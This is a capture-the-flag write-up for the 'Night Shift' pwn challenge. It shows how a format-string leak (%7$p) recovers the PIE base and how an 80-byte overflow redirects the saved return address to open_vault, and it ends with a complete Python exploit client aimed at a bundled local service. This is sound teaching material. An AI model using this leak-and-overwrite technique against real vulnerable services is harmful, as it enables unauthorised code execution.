CTF archive / Pwn

Night Shift: two prompts, one return address

A name prompt leaks a code pointer. A note prompt gives enough room to replace a saved return address.

The service

Night Shift opens with name: and later asks for note: . The name is formatted before it is printed, so %7$p returns a code pointer. The note is accepted as a line of raw bytes. The included local service models the relevant leak and overwrite, which makes the client runnable without an external target.

A typical conversation looks like this:

Night Shift
name: %7$p
hello 0x555500001540
note: [payload]

Memory layout

The leaked pointer is report at offset 0x1540. open_vault is at 0x12b0. The note starts 80 bytes before the saved return address. PIE changes the base each run, so the fixed values are offsets, not final addresses.

ValueOffsetUse
report0x1540Subtract from the leak
open_vault0x12b0Add to the base
Saved return address80 bytesOverwrite after padding

Solve path

  1. Send %7$p at the name prompt and parse the address after hello.
  2. Subtract 0x1540 to recover the base for this connection.
  3. Add 0x12b0 to locate open_vault.
  4. Send 80 filler bytes followed by the address packed with p64.
base = report - 0x1540
target = base + 0x12b0
payload = b"A" * 80 + p64(target)

The client reads up to each prompt before writing. If the leak is malformed, it stops rather than calculating an address from unrelated output.

Run it locally

python3 night_shift_server.py 127.0.0.1 31340
python3 night_shift.py 127.0.0.1 31340

Start the service in one terminal, then run the client in another. Both use the Python standard library.

Complete client

import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

REPORT_OFFSET = 0x1540
OPEN_VAULT_OFFSET = 0x12b0
RETURN_OFFSET = 80


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def send_line(sock, data):
    sock.sendall(data + b"\n")


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        read_until(sock, b"name: ")
        send_line(sock, b"%7$p")
        greeting = read_until(sock, b"\n").strip()
        if not greeting.startswith(b"hello "):
            raise ValueError(greeting)
        report = int(greeting.split()[-1], 16)
        base = report - REPORT_OFFSET
        target = base + OPEN_VAULT_OFFSET
        print("report", hex(report))
        print("target", hex(target))

        read_until(sock, b"note: ")
        send_line(sock, b"A" * RETURN_OFFSET + p64(target))
        print(read_until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 night_shift.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))

← All CTF writeups